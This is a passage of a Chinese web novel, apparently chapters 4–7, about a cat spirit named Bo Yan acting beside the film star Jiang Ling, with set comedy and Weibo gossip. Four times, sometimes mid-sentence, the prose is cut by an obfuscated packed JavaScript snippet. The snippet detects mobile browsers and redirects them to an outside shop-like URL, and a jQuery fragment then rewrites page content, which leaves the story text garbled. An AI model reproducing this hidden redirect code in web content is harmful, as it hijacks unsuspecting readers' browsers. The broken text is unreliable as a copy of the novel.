“没有。”江泠的目光在他唇上一掠而过,“很好看。” - 今天要拍薄砚的第一场戏,也是他和江泠的第一场对手戏。 李导围着他团团转:“等会儿开拍的时候,你就当镜头不存在,该怎么演就怎么演。忘词了也没关系,我喊停咱们再来一条,谁还没个小失误呢?你试镜的时候表现特别好,保持住那个劲儿就行……” 薄砚看着他:“我觉得您比我更紧张。” 李导:…… 江泠忍不住笑了一下。 李导恼羞成怒道:“各部门准备!” 清晨的天空纯净澄澈,如同婴儿的眼眸,不含一丝杂质。一棵大树悠闲地立在湖边,枝条随风摇曳。 湖面突然泛起涟漪,一道半透明的影子从湖里钻出来,渐渐凝成实体:“你总在这儿晃悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023651|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,叶子掉在水里都快堆成岛了。” 湖妖的声音带着水汽的清润,他生气地拨弄着水面,搅碎了大树投下的倒影。 树妖的声音从叶缝里钻出来,带着点儿闷笑:“我那是给你送伞呢,免得哪天雨大了,你这水做的身子被冲上岸。” 片场一片安静,李导惊讶地盯着薄砚,差点忘了喊“卡”。剧本里根本没有湖妖拨弄水面的桥段,这段戏是演员临时加的。 绝了! 工作人员带着薄砚爬上岸,江泠立刻用大毛巾裹住他。 唐冰见猫祖宗有人照顾,干脆坐在椅子上继续玩手机。 李导满面红光地走过来,声音里带着抑制不住的兴奋:“你这即兴的一下,把整个场景都盘活了!有了这股灵气,湖妖落亭才真正从剧本里走出来了。本来还担心你头回演戏会紧张,现在看来,你天生就该吃这碗饭!” 薄砚摇头:“我不吃这碗饭。” 李导:“什么意思?” 薄砚解释道:“我只拍这一部,之后就不拍了。” 李导问道:“为什么?” 薄砚:“麻烦。” 李导不理解年轻人的想法,摇头叹息着离开了。 薄砚问道:“唐冰呢?” 江泠指了一下:“在那儿。” 薄砚:“谢谢你的毛巾,我先回休息室了。” 江泠笑着道:“下午见。” 薄砚:“嗯。” 很快又到了吃午饭的时间,猹氏家族的各位成员齐聚瓜田,畅所欲吃。 江泠的助理也在吃瓜:“顶流男星出轨一线小花……呵呵,这种都是明目张胆索要封口费,不会真爆出来的。” 翻了一会儿热搜,他无聊道:“最近都没什么大新闻,整个娱乐圈仿佛一潭死水。” 江泠懒洋洋道:“要不然我给你搞个大的?” 助理差点跪下:“别别别,哥,我求你了,你谈恋爱的热搜还在上面挂着呢,虽然粉丝都不信,但架不住有人蹭热度啊!” 他恨不得穿回5秒前,把刚刚说出来的话咽回肚子里。 江泠笑了下:“逗你呢,看把你吓的。” 助理拍了拍胸口,转身又吓一跳:“啊!” 一只银色长毛的漂亮小猫悄悄走到他背后,见他转过身,毛茸茸的尾巴轻轻甩了一下。 竟然被一只小猫咪吓到了,助理尴尬地摸了摸鼻子。 小猫走到江泠身边,仰头冲着他“喵”了一声。 “泠哥,你说他是不是饿了?应该不是吧?”助理剥了一只水煮虾,递到小猫嘴边。 小猫把头一扭,拒绝得很明显。 “果然不饿,看这胖乎乎的样子,也不像没饭吃的。”助理说道。 话音刚落,他就被胖乎乎的小猫踹了一脚。 助理不明白自己怎么惹到这只猫了,对着他哥就是软软的喵叫,对着自己就是飞起一脚。 江泠落井下石道:“凡事多找找自己的原因。” 小猫望着他,毛茸茸的大尾巴轻轻扫着他的裤腿。 助理:“这回我懂了,小猫咪跟你撒娇呢,他希望你能摸摸他。” 江泠:“是吗?” 小猫抬起脚,毛茸茸的小爪子在空中扒拉着,想勾住江泠的裤腿。可江泠穿的是戏服,布料滑溜溜的,小猫的肉垫只在空中划过一道短短的弧线,就扑了个空,跌坐在地上。 江泠忍不住笑了一声。 5. 第5章 小猫爬起来,愤怒地踹了他两脚。 助理憋笑道:“泠哥,要不然你也找找自己的原因?” 江泠:…… 小猫气鼓鼓地瞪着他,然而这个嘲笑自己的人类却毫无反省之意,小猫又踹了他一脚,生气地离开了。 片场众猹仍在吃瓜,一只猹突然兴奋道:“江影帝发微博了!” 众猹纷纷点开微博。他们中有一半是江泠的粉丝,想看看自家偶像发了什么;另一半则是看热闹的路人,期盼着江泠能搞点儿大事出来。 “影帝发了一张砚台的图片,这是什么意思?” “这砚台怎么猫里猫气的。” “是在回应恋情吗?但这回应我怎么看不懂?” “不是,你们还真信昨天的爆料啊?” “信不信的不重要,热闹就行了。” “跟江泠合作过的女演员里,名字里有带‘砚’的吗?” “男演员呢?” 网友和他们的脑回路一样,短短一个中午的时间,所有和江泠合作过的演员访问量都在飙升,#江泠疑似回应恋情#这个热搜更是直接飚到了第一。 放眼望去,微博一片江泠。 1.#江泠疑似回应恋情# 爆 2.#江泠砚台# 热 19.#江泠合作过的女演员盘点# 新 23.#江泠合作过的男演员盘点# 新 27.#江泠理想型# 新 37.#绿荫# 新 41.#到底谁名字里有砚啊# 新 48.#谁把江泠的封印解开了# 新 网友们也在积极吃瓜。 【嚯,顶流大影帝就是不一样,看这排面。】 【到底谁名字里有砚啊,我真服了,别说砚了,我连名字里有笔墨纸的都找不出来!】 【bx?宣纸也是纸吧?笔墨纸砚……】 【!!!盲生你发现了华点,bx和jl的拉郎还挺火的,上过热搜(吃瓜.jpg)】 【救命,那只是一个拉郎视频好吗?况且我姐采访的时候说过,自己和家里人都是影帝的粉丝,非常尊敬他,我姐都用尊敬这个词了,你们还想要她怎样?】 【你们家那位可是货真价实的大小姐,能别说得这么可怜吗?我笑了。】 【话说江泠粉丝怎么不出来kp?】 【天天被造谣,我们早就不care了,爱咋咋吧。】 【笑晕,解开封印那个词条是谁想出来的,太缺德了。】 “祖宗,到底是谁解开了你的封印,让你大中午的出来搞事?”经纪人气急败坏地给江泠打电话。 江泠漫不经心道:“中午人多啊。” “……”经纪人一口气差点没上来,缓了缓才继续说道,“算了,不过是分享图片而已,网友们闹一闹也就过去了。” 她一点也不担心江泠谈恋爱,因为她太了解这位祖宗了,他要是真谈了恋爱,一定会昭告天下的。 “裴澄澄前几天也和粉丝分享过自己的画,她的团队已经下场了,想蹭着你炒作一波。”经纪人道,“还有宋添……” 江泠:“宋添是谁?” 经纪人:“你出道后演过的唯一一部电视剧,你忘了?你演的是魔宫宫主,他是你的影卫,当时播出的时候,不是有很多人嗑你俩的cp吗?说什么美强惨宫主和他的忠犬小狗……” “停。”江泠被恶心到了。 经纪人叮嘱他:“我去解决这些事,你可千万别再作妖了啊,我让小石盯着你。” 江泠应道:“好。” 助理小石自觉盯不住这位大爷,只好去盯着网上的舆论。 裴澄澄和宋添的团队相继下场之后,网上的舆论已经变了。网友们深挖那些年和江泠传过绯闻,或向他表达过好感的艺人,结果发现男女都有。 于是#江泠性取向#这个词条又飙到了热搜第三。 助理心累地躺在床上,打算先睡一会儿,睡前瞥了眼他哥,见他哥乖乖地靠在躺椅上,看样子也要午休,助理放心地闭上眼。 然而他还没睡多久呢,就被一通电话吵醒了。 助理直觉不妙,连忙点开微博,果不其然,他哥开着大号,在裴澄澄团队买的通稿下面回复“假”,在宋添团队买的通稿下面回复“滚”。 助理两眼一黑又一黑。他深深地觉得自己的眼睛长少了,都不够他黑的。 经纪人也很崩溃,但是网友们很激动。 【还是熟悉的风格,还是熟悉的味道,还是熟悉的江泠。】 【许久不见,我哥还是这副德行,突然有点安心是怎么回事?】 【我也(捂脸)】 【所以恋情是真的吗?】 【假的,我哥采访说了,确定恋爱关系之后会向粉丝公开,绝不欺骗。】 【那么问题来了,他到底喜欢男的还是女的?】 【无所谓,江泠这张脸bg bl都精彩(小脸通黄.jpg)】 【别乱解读了,我哥没说自己有喜欢的人,别被营销号带偏了。】 【我真受不了了,影帝又美又帅,宋添那么普,这对cp不管谁上谁下都很难嗑,到底谁在嗑啊!】 【反正我不嗑,现实生活已经很苦了,上网嗑个cp,还不得找对养眼的?】 下午等戏的时候,片场众人还在讨论这件事,他们都是圈里人,跟网友吃瓜看热闹的角度不同。 “江影帝这下可是彻底得罪宋添背后的观止娱乐了,他们家体量不大,阴招不少。” “但江泠地位稳固,他们扳不倒吧。” “扳是扳不倒,但能使一些小手段膈应人啊!” “江泠团队也不是吃素的。” “也是,老板这么能搞事,员工们估计都磨练出来了。” 薄砚也在片场等戏,江泠走到他旁边坐下。 薄砚故意装作没看到,他可没忘记中午发生的事。 不过这人一坐到他旁边,周围便陆陆续续投来不少视线。他向来习惯了被人注视,可此刻这些目光,却带着种说不出的异样。 江泠见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023652|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他皱眉,开口问道:“怎么了?” 薄砚小声道:“他们看你的眼神很奇怪。” “没什么。”江泠笑道,“都是微博上发生的事。” 薄砚有些好奇,自己又懒得看,便戳了戳一边的唐冰。 唐冰摊手:“我没下载微博。” 江泠的助理惊讶道:“这年头竟然还有不上网的人,你们该不会生活在深山老林里吧。” 薄砚点点头:“嗯。” 助理道:“那我讲给你们听吧,就是我哥发了一张砚台的图片,因为他之前上过热搜,所以全网都在扒……” 他看着眼前的薄砚,突然意识到什么。 薄砚催他:“继续说。” 助理点开图片给他看:“砚哥,这个砚台该不会是你画的吧?” “嗯。”薄砚点点头,“这是我的签名。” 助理:…… “我真蠢,真的,我才反应过来这个砚台是指砚哥。” 薄砚:? 助理将中午发生的事情讲了一遍。 薄砚问道:“需要我帮忙澄清一下吗?” 助理连忙摆手:“不用不用,我哥叮嘱过我,不能暴露你的真名,虽然我不知道为什么。” 唐冰解释道:“因为他不打算进娱乐圈,拍这部戏是临时救场,片场里大家用角色名相称就行,没必要结交太多圈里的人。” “原来如此。”助理点点头。 下午的戏拍完之后,众人一起吃了晚饭,继续拍晚上的戏份。 明月高悬,湖妖和树妖并肩坐在湖边。 树妖拈起湖妖的一缕发丝,问道:“为什么你的头发是银色的?” 湖妖望着空中的月亮:“可能是因为盛了太多月光吧。” “认识这么久,我还不知道你叫什么名字呢。”湖妖看着树妖。 树妖摇头:“我没有名字。” “怎么会没有名字呢?我就有名字。”湖妖道,“因为这片湖叫落亭,所以我的名字也是落亭。” 树妖笑了一下:“这里只有一片湖,也只有你一个湖妖。” “但这座山里,有千千万万棵树木,要是每棵树都有名字,那岂不是乱套了?所以我叫树妖,我们都叫树妖。” 湖妖摇摇头:“但你是我认识的唯一一个树妖。” “卡!” 江泠拉着薄砚站起来:“这里很滑,小心摔倒。” 薄砚挣了一下:“我看得比你清楚。” 江泠攥着他的手腕不放:“我视力5.0。” 薄砚没法跟他说自己是一只猫,只好放弃挣扎道:“反正我看得比你更清楚。” 为了营造氛围,灯光组特意把湖边的灯调暗了大半,原本能照亮整片湖面的暖光收了回去,只剩几盏地灯透出微弱的光晕。 “啊!” 江泠突然滑了一下,薄砚连忙扶住他。 江泠倚着身旁的人站直身体:“差点摔倒。” “都说了我看得比你更清楚。”薄砚抓住他的手,“我带着你走。” 6. 第6章 江泠勾起唇角:“好。” 两人一前一后走到明亮的地方,江泠问道:“你能回去了,是吗?” 薄砚点头,他今天的戏份已经拍完了,可以收工了。 江泠:“小石说的那件事你不用在意,回去好好休息。” 薄砚差点忘了这回事,回去之后他躺在床上,打开那个手机自带的,从未使用过的微博。 一整个下午过去了,江泠的名字仍牢牢地挂在热搜榜上。薄砚点开#江泠疑似回应恋情#的热搜词条,一眼就看到了自己画的那方砚台。 评论区很和谐,粉丝都在祝江泠的新电影票房大卖。 薄砚简单地扫了一圈,随即点开其他相关热搜。没看几分钟,手机突然震了震,微信界面弹出一条新消息。 【江泠:终于收工了(小猫疲惫.jpg)】 【薄砚:丑猫。】 【江泠:不如你家煤球可爱。】 【薄砚:……】 【薄砚:煤球不可爱。】 【江泠:好,不可爱。】 【江泠:在干嘛?】 薄砚截了一张图发给他,又飞快地撤回去。 【江泠:什么?】 【薄砚:没什么,我要睡了。】 【江泠:晚安。】 【江泠:明天见。】 【薄砚:明天没我的戏份。】 【江泠:那就后天见。】 薄砚回了一个“嗯”,随即点开另一个窗口,把刚刚截的图片发给唐冰。 【唐冰:?】 【唐冰:OK,我让他们去查一查。】 【唐冰:明天干嘛去,还去片场勾引人吗?】 【薄砚:嗯。】 【唐冰:懂了,江影帝又在你面前夸戚夏可爱了。】 【薄砚:他叫煤球。】 【唐冰:煤球叫戚夏,好吗(我真没招了.jpg)】 【唐冰:不是,什么煤球,人家本来就叫戚夏。】 【唐冰:服了,被你绕进去了。】 次日一大早,唐冰开车把薄砚送到距片场五百米远的地方。 “趁现在没人赶紧下车,剩下的路你自己走过去吧,别露馅儿了,照顾好自己——” 他叮嘱的话还没说完,薄砚就变回原形,跳下车飞奔,像一朵被风卷着跑的蒲公英绒球。 唐冰:“……跑这么快。” 小猫一路飞奔到片场,找了张看起来最舒服的椅子窝着。工作人员没有赶他,而是拍了几张照片充当椅子的使用费。 小猫懒洋洋地晃着尾巴,任由他们拍照,片场众人都被萌晕了。十几分钟后,李导来了,看到他眼睛一亮。 “咪咪,过来。”李导张开双臂,嘴里发出奇怪的声音,“嘬嘬嘬嘬嘬,咪咪!” 小猫懒得理他。 为了吸引小猫注意,李导丧心病狂地“喵”了一声,“喵”完之后仍不满足,变本加厉地“喵”了好几声,沉醉在自己的模仿之中,不知天地为何物。 小猫翻过身,痛苦地捂住耳朵。 李导委屈道:“不是说猫尊老爱幼吗?他怎么不理我?” 编剧安慰道:“可能是你学得不太标准?” 李导又“喵”了一声,问道:“这回怎么样?” 编剧昧着良心道:“还不错。” 李导扭过头问小猫:“咪咪,怎么样?我这猫叫学得标准吗?” 小猫:…… 江泠一到片场,就见李导蹲在椅子前,满面红光地说着什么。椅子上躺着一只蔫儿了吧唧的小猫,生无可恋的模样很像薄砚头回吃剧组盒饭时的样子。 江泠叫了声“李导”,小猫听到声音,连忙从椅子上跳下来,逃难似的跑到他身边。 助理打招呼道:“你好呀,小猫咪。” 小猫歪了歪头,毛茸茸的大尾巴轻轻晃了一下。 助理感叹道:“这猫长得真好看,银色毛发银色眼睛,也不知道是什么品种,毛茸茸胖乎乎的,真可爱。” 话音刚落,他就挨了小猫一脚。 助理懵了:“他怎么又打我?” 李导也很懵:“奇了怪了,我和咪咪聊了半天,他理都不理我,江泠一来他就主动凑过去了,这是为啥?” 助理摇摇头:“不知道啊,难道我哥的粉圈已经扩展到猫界了?” 李导摸了摸下巴:“也不是没可能。” 小猫跟着江泠走进休息室,径直挑了张离他最近的椅子坐下。助理随后走进来,语气里满是惊奇:“泠哥,你看这猫,真就一直跟着你!” 江泠点点头。 助理问他:“泠哥,你是不是有点无聊?” “是。” “看我猜对了吧!”助理得意道,“我就是天底下最了解你的人。” 小猫盯着江泠看了片刻,随后从椅子上跳下,慢悠悠走到他脚边,用尾巴轻轻蹭了蹭他的裤腿。 助理惊讶道:“泠哥,他好像在安慰你。” 江泠:“我又不难过。” 助理:“可能是小猫觉得你无聊,哄你开心呢。” 江泠看着脚边的小毛团,轻轻叹了口气。 助理不忍心道:“泠哥,你摸摸他吧,你不摸我可就摸了。” 他边说着边弯下腰,轻轻摸了一把小猫咪,结果没摸到,人家一个闪身躲开了。 助理伤心极了:“泠哥,他只想让你摸,你摸摸他吧。” 见江泠一副无动于衷的样子,助理疑惑道:“泠哥,你不喜欢猫吗?可我怎么记得,你还夸过我奶奶家养的芝麻可爱呢!” 江泠:“是挺可爱,薄砚家也养了一只小黑猫。” “泠哥,你怎么能当着他的面说别的猫可爱呢?”助理指着小猫道,“他会伤心的。” 仿佛为了印证他说的话,小猫真的离开休息室了。 助理无奈道:“看吧,我说什么来着,小猫一定会伤心的。泠哥,你不觉得他很可爱吗?” “很可爱。”江泠点头。 助理摊开手:“你现在说这话有什么用,小猫已经攒够失望离开了,你就等着追猫火葬场吧。” 江泠支着下巴看他:“你最近在追什么剧?” “孟语桐演的《影子情人》,替身文学+带球跑+追妻火葬场,特别好看!”助理兴奋地安利道,“而且这部剧的节奏一点都不拖沓,第五集就开始火葬场了!” 江泠:…… 李导正和摄像商量一会儿的拍摄细节,小猫从他身边路过,仍旧没理他。 李导问旁边的编剧:“是不是我之前‘喵’的语调不对,他以为我在挑衅他,所以生气了?” 编剧:…… 你再“喵”的话,我也要生气了。 小猫在片场晃悠几圈,成功吸引了所有人的注意力。那群暂时没事干的跟组演员更是围着他团团转,恨不得将好吃的好玩的全部奉上。 江泠一出来,就看到小毛团耀武扬威地蹲坐在椅子上,颇有种“普天之下莫非王土”的气势。待他从旁经过时,小毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023653|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团更是得意洋洋地“喵”了一声。 助理感叹道:“泠哥,那只猫真的很喜欢你,那么多人围着他,他的眼里却只有你。” 江泠瞥了眼挑衅自己的小毛团,勾起唇角笑了一下。 助理发散思维道:“泠哥,你说有没有一种可能……” “有这种可能。”江泠点点头,找了一处遮阳棚坐下。 小猫一直盯着他,见状立马抛弃了自己的臣民,毫不犹豫奔向他,轻盈一跃便跳上了旁边另一张椅子。 “好家伙。”被打断施法的助理再次开口道,“第一章,白月光回国。” 不过此刻的片场并没有月光,反而是暖融融的日光铺满了角落。太阳逐渐升高,小猫慢悠悠地弓起脊背,伸了个懒腰,尾巴轻轻晃着,惬意极了。 天气很好,第一场戏拍得也很快,只需补一段树妖背影的长镜头,这场戏就正式结束了。 江泠坐在草地上,阳光顺着发梢流淌,在他身上交织出暖融融的光晕。 明明周身都浸在光里,树妖却像被一层无形的壳紧紧包裹着,那层壳将所有明亮都隔绝在外,只留给他一种沉入深海般难以言喻的憋闷。 一阵风轻轻吹过,湖面荡起微波,江泠忽然瞥见对面草丛里冒出一对尖尖的耳朵,绒乎乎的,随着风轻轻抖了两下。 还没等他看清楚,那耳朵又倏地缩回去,几秒钟后,一颗圆乎乎的猫猫头悄悄探出草丛。 江泠忍不住笑了一下。 无形的壳裂开缝隙,暖融融的阳光趁机钻进来,驱散了深海般的憋闷。 “对不起,我笑场了,再来一条吧。”江泠笑着道歉。 片场众人都惊呆了,剧组开拍一个多月,这还是他们第一次见到江影帝笑场。不过影帝就是影帝,调整了一下状态之后,第二条很快就过了。 工作人员开始准备下一场戏,江泠找了张椅子坐下。小猫钻出草丛,迈着小碎步跑到他身边,跳上另一张椅子。 “坏猫。” 天降一口“坏猫”大锅,小猫被砸懵了,缓了几秒才反应过来,气得原地转了两圈。 江泠的眸中闪过一丝笑意:“故意逗我,害我笑场,还不是坏猫?” 小猫:…… 千古奇冤。 “泠哥,下场戏台词比较多,你先喝口水吧。”助理拿着水杯走过来。 江泠接过水杯,指着小猫道:“给他也准备点儿水,再准备点儿吃的。” “好的。”助理点点头,“泠哥,你刚刚那段背影戏演得特别好,李导还夸你了,他说虽然只是一个背影,但好演员就是能用背影来传达情绪。” 江泠:“是吗?” “不过哥你怎么突然笑场了?”助理好奇地问道。 江泠看着他:“想听?” 助理期待地点点头。 江泠添油加醋地讲了一遍刚才发生的事,助理转头看小猫,小猫睁着圆圆的大眼睛,十分乖巧地望着他。 助理被萌得晕头转向,下意识替小猫辩解道:“他肯定不是故意的,小猫能有什么坏心思呢。” 对啊。 小猫点点头,圆溜溜的大眼睛眨了眨。他真不是故意的,他只是想看看拍完没有。 “我说的对吧?”助理挨着小猫坐下,小猫用尾巴轻轻扫了一下他的裤腿表示赞同。 “这只猫太灵性了,他好像能听懂我说话似的,还回应我呢!”助理兴奋道,“我还是第一次见到这么聪明的猫!” 江泠勾了勾唇:“猫妖。” 7. 第7章 轻轻淡淡两个字,犹如平地一声雷,惊得小猫差点站不稳。难道这人已经发现了他的真实身份? 小猫盯着江泠,试图从他的表情里看出些端倪,然而对面坐着的是坐拥两座奖杯的影帝,他根本分辨不出对方是在开玩笑还是说真的。 应该是在开玩笑吧,毕竟月轮山与世隔绝,普通人甚至不知道世界上还有这么一座山。 小猫乖巧地坐在椅子上,装作什么都听不懂的样子,心里却在暗暗反省。这段时间他确实有些得意忘形了,忘记了这里是人类社会,而非精怪遍地走的月轮山。 助理哈哈大笑道:“可以可以,咱们剧组不仅有树妖,有湖妖,现在连猫妖都有了,这是要大爆的节奏啊!” “不过这只猫确实很聪明,让我想起了以前看过的一些小说。”助理蹲在小猫面前,满怀期盼地问道,“你是穿越的吗?是的话就‘喵’一声。” 小猫装作若无其事的样子,慢悠悠地甩着尾巴。 助理又问道:“那你是重生的吗?是的话也‘喵’一声。” 小猫继续晃悠自己的尾巴。 “好吧,不是。”助理失望地叹了口气,“小说就是小说,现实生活中哪有那么神奇的事。” “就算有,你也不会知道。”江泠淡淡道。 小猫吃了一惊,他心里想的话怎么被这人说出来了?难不成对方真的怀疑自己是只猫妖,故意用话来试探他? 小猫缩了缩脑袋,下定决心伪装成一只普通的猫。 助理双手合十道:“如果世界上真有这种神奇的事,那么神啊,请让我也体验一回穿越开挂的人生吧!” “让我穿到一个修仙位面,感受一下长生不老的滋味;或者去星际位面,开机甲也很刺激啊!” 江泠看着他:“怎么,不想给我当助理了?” “哪儿能啊。”助理连忙表忠心道,“圈内谁人不知,江影帝工作室的员工福利好,工资高,奖金红包少不了。虽然圈子里确实有折磨助理的艺人,但是哥你不同啊,你只折磨经纪人和宣传部、公关部那群倒霉蛋。” 江泠笑骂了一声“滚”,就去找化妆师补妆,准备拍戏去了。 紧绷的神经终于放松下来,小猫抖抖耳朵,慵懒地伸了个懒腰。 助理将准备好的水和食物摆在他面前,开口道:“吃吧,这些都是你能吃的。要不是我哥提醒我,我都差点忘了这回事,我哥这个人还是挺细心的,对吧?” 小猫偏过头,拒绝得很明显。作为一只修行之猫,别说一天了,就是一个月不吃东西都没问题,平时吃人类食物只不过是调剂生活罢了。 他不饿,助理倒是有些饿了,拆了一包牛肉干边吃边道:“我哥人很好的,什么吃的用的都会给我也准备一份。你要是没主人的话,就跟着我哥吧,他一定会对你很好的。” “其实我奶奶也很喜欢猫,只是她家里已经有一只猫了,一山不容二虎,一家不容二猫,你懂的。所以你还是跟着我哥吧,他很喜欢你的,还让我给你准备水和食物呢。” 小猫撇撇嘴。江泠才不喜欢自己呢,他只喜欢煤球,隔壁那颗黑不溜秋的煤球。 “不过看你这胖乎乎的样子,也不像没人养的猫,可惜了。”助理遗憾地叹了口气。 小猫蠢蠢欲动地抬起脚,忍了半天又收回去,心里不停默念:我是一只普通的猫,我听不懂人类说话;我是一只普通的猫,我听不懂人类说话…… 助理吃完牛肉干,抱着水杯围观江泠拍戏去了,小猫窝在椅子上,美滋滋地睡了一觉。上午的时间很快过去,午后突降暴雨,剧组被迫停工。 助理从柜子里取出毛毯,絮絮叨叨道:“山里下暴雨很冷的,帐篷又漏风,还好我提前准备好了毛毯,哥你快披上,别冻感冒了。” 江泠接过毯子披上,嘱咐他去隔壁睡觉。 助理问道:“哥你不睡觉吗?” 江泠:“我看会儿电影。” “好吧。” 助理去隔壁帐篷睡觉了,江泠调试好投影设备后,用脚轻轻勾了勾帐篷里最大的椅子,把它连同上面窝着的猫咪一起拉到自己身边。 小猫顿时不开心了,他先来就是他的,这人怎么还抢椅子呢。 然而江泠完全无视了小猫的强烈抗议,大摇大摆地在椅子的一边坐下,展开毛毯裹在身上,宽大的毛毯顺带盖住了另一边的小猫。 小猫在暖乎乎的毛毯里打了个滚,瞬间原谅了他抢椅子的行为。 暴雨倾泻而下,密集的雨点砸在帐篷顶上,发出急促而响亮的声音。外面的世界仿佛被暴雨吞没了,只剩帐篷里这一方小小的天地。 小猫窝在毛毯里昏昏欲睡,等了很久,这个人类还没开始放电影。他睁开眼,发现江泠正盯着虚空的某一处发呆,不知道在想些什么。 又等了一会儿,这人终于动了动,开始挑选下载好的影片。 小猫盯着屏幕,发现他选定了一部名为《最后一片银杏叶》的电影。看名字有种季节更替、时光流逝的诗意,应该是一部关于陪伴和离别的温情故事。 小猫认真地盯着屏幕,准备好好看一看这部电影。虽然他出演湖妖落亭这个角色只是临时救场,但他不想敷衍了事,一定要好好表现,才不会辜负那位人类导演的信任。 电影开始,画面温暖柔和,讲述着一个关于寻找失落记忆的故事。江泠放松地靠在椅背上,小猫也惬意地眯起眼睛。然而,当主角走进那座古老的房子之后,气氛突然变了。 镜头缓缓推进,主角推开一扇吱呀作响的木门。就在此时,画面突然一黑—— 一张苍白扭曲的脸猛地出现在屏幕上,鬼气森森的,仿佛要冲破画面,张牙舞爪地扑出来! 小猫吓呆了,心脏在胸腔里狂跳,爪子不自觉地收紧,尾巴尖微微发抖。还好帐篷里光线昏暗,他的身体又被毛毯盖住了,这才没让江泠察觉到他的异常。 又过了十几分钟,江泠起身倒了杯水,小猫趁机调整了一下姿势,让自己的视线偏离屏幕。 电影继续播放,诡异的背景音乐在帐篷里回响。小猫呆滞地睁着眼睛,度秒如年地熬了许久,这部电影终于结束了。 直到片尾曲播放完毕,小猫才终于缓过神来,劫后余生般地瘫在椅子上。 江泠扯了扯嘴角,开口道:“原来这部电影是这样的。” 帐篷外的雨声逐渐稀疏下来,只剩下偶尔几滴雨水从帐篷边缘滑落,在寂静中格外清晰。江泠依然保持着观影时的姿势,屏幕的光已经熄灭,昏暗中只能看见他模糊的侧脸轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023654|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廓。 听到小猫“喵”了一声,他才像是突然想起什么似的,开了灯,又将帐篷四周的遮光帘一一拉开。 小猫趁机钻出帐篷,向着和唐冰约定好的地方跑去。 助理伸着懒腰走进来:“下雨天睡觉就是舒服,不仅舒服,还很幸福。诶,那只猫呢?” “走了。”江泠道。 助理挠挠头:“大概是饿了吧,所以回家找主人了。” - 小猫一路飞奔到约定好的地方,唐冰已经在那里等他了。 小猫化成人形上了车,靠在椅子上喘气。唐冰问道:“你这是经历了什么,怎么蔫儿成这样?” 薄砚立马摆正坐姿。 唐冰嘲笑道:“别装了,我还不了解你吗?你这分明是被什么东西给吓到了。” 薄砚捂了捂肚子:“先回旅馆吧,我想吃东西了。” 唐冰驱车回到旅馆,向老板购买了一些简单的食材,准备做饭给薄砚吃。 薄砚倚在厨房门口,轻描淡写地说道:“我今天和江泠一起看了部电影,还挺好看的。” 唐冰问道:“什么电影?” 薄砚:“《最后一片银杏叶》,很温暖的一部电影,你有空也可以看看。” “别想套路我,这明明是一部惊悚片。”唐冰冷笑道。 薄砚有些惊讶:“你怎么知道?” 唐冰:“因为我认识这部电影的主演,她是薄羽星光旗下的艺人。” 薄砚更惊讶了:“我怎么不知道?” 唐冰无语道:“拜托,你能不能有点事业心?别整天除了吃就是睡,除了睡就是吃。” 薄砚歪了歪头:“可我只是一只猫啊。” “你是猫,难不成你姐就是人?”话一出口,唐冰就觉得不对劲,这话听着怎么跟骂人似的。 见他沉默不语,薄砚觉得自己在这场唇枪舌剑中占了上风,心满意足地拿起手机玩了起来。 他变成猫去了片场,手机一直留在旅馆里,薄砚打开手机一看,发现江泠给他发了消息,隔壁那颗煤球也发来一张图片和一大段语音。 分别回复完两个人的消息之后,薄砚上网搜索了《最后一片银杏叶》的剧情简介,又看了几个解说视频。那会儿实在是太害怕了,他完全没有认真观看这部电影。 唐冰端着菜从厨房里走出来,问道:“你给戚夏回消息了吗?” 薄砚点点头:“回了。” 唐冰道:“回了就好,虽然知道从你嘴里说不出什么好话,但他还是等了你好半天呢。” 这个“等”字突然触动了薄砚的某根神经,他猛地想起什么,连忙点开微信对话框,查看江泠发来消息的时间——中午一点二十。 难道他那会儿迟迟不开始放电影,是在等自己回复消息? 薄砚抿了抿唇,思考了一会儿后,打字道:【你晚上什么时候回来?】 那边回复得很快。 【江泠:今天山上下暴雨,耽误了不少时间,可能要等到十点多才能收工。】 【薄砚:嗯。】 【薄砚:回来了和我说一声,我找你有事。】 